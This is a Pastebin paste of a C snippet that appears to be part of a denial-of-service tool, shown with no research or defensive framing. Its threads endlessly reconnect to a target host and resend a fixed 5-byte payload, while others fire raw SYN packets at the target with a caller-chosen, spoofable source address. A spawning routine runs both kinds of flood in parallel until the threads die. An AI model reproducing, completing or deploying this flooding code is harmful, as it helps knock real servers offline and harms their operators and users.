memcpy

modules

Nov 27th, 2011
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 2.25 KB | None | 0 0
  1. void *tcp_con_crash(void *d) {
  2.     const char payload[] = {0x02, 0x00, 0x02, 0x26, 0x26};
  3.     int csent = 0, len = 5;
  4.     struct mclog *curdat = (struct mclog *)d;
  5.     pthread_mutex_lock(&curdat->_b_mutex);
  6.     while(curdat->tcm != NT_T) pthread_cond_wait(&curdat->_b_cond, &curdat->_b_mutex);
  7.     pthread_mutex_unlock(&curdat->_b_mutex);
  8.     printf("Thread %#x beginning (%d)(%s)\n",(unsigned)pthread_self(),curdat->tcm,__func__);
  9.     int stc;
  10.     while(1) {
  11.         if (secure_send(stc, (char *)payload, &len) < 0) {
  12.             stc = connecttoserver(curdat->d_ip, curdat->d_port);
  13.         }
  14.         else {
  15.             printf("%s: sent %d packets\n",__func__,csent++);
  16.             //stc = connecttoserver(curdat->d_ip, curdat->d_port);
  17.         }
  18.     }
  19. }
  20.  
  21. void *tcp_syn_crash(void *d) {
  22.     register int count = 0, seq = 0;
  23.     struct mclog *curdat = (struct mclog *)d;
  24.     pthread_mutex_lock(&curdat->_b_mutex);
  25.     while(curdat->tcm != NT_T) pthread_cond_wait(&curdat->_b_cond, &curdat->_b_mutex);
  26.     pthread_mutex_unlock(&curdat->_b_mutex);
  27.     printf("Thread %#x beginning (%d)(%s)\n",(unsigned)pthread_self(),curdat->tcm,__func__);
  28.     while (1) {
  29.         seq = (int)(arc4random() % MAX_SEQ);
  30.         printf("%s: sent #%d packets (%s:%d) -> (%s:%d)\n",
  31.                __func__,count++,curdat->s_ip,atoi(curdat->s_port),curdat->d_ip,atoi(curdat->d_port));
  32.         send_syn(htonl(seq), 1, curdat->s_ip, curdat->d_ip, atoi(curdat->s_port), atoi(curdat->d_port));
  33.     }
  34. }
  35.  
  36. void spawn_crash(struct mclog tdat) {
  37.     char *error_ret = (char *)malloc(20);
  38.     int r;
  39.     printf("(%s:%s) -> (%s:%s)\n",tdat.s_ip,tdat.s_port,tdat.d_ip,tdat.d_port);
  40.     pthread_mutex_init(&tdat._b_mutex, NULL);
  41.     pthread_cond_init(&tdat._b_cond, NULL);
  42.  
  43.     pthread_mutex_lock(&tdat._b_mutex);
  44.    
  45.     for (tdat.tcm=0; tdat.tcm < NT_T; tdat.tcm++) {
  46.         pthread_create(&tdat.c_threads[tdat.tcm], NULL, (tdat.tcm %2==0 ? tcp_con_crash : tcp_syn_crash), (void *)&tdat);
  47.         printf("Creating thread %#x | %d (%s)\n", (unsigned)tdat.c_threads[tdat.tcm],tdat.tcm,(tdat.tcm % 2 == 0 ? "con" : "syn"));
  48.     }  
  49.  
  50.     pthread_cond_broadcast(&tdat._b_cond);
  51.     pthread_mutex_unlock(&tdat._b_mutex);
  52.  
  53.     for (r=0; r < NT_T; r++) {
  54.         sprintf(error_ret,"thread %d down",r);
  55.         pthread_join(tdat.c_threads[r], NULL);
  56.         display_warning(error_ret);
  57.     }  
  58.     die_with_signal("all threads crashed");
  59. }
  60.  
  61.  
Advertisement
Add Comment
Please, Sign In to add comment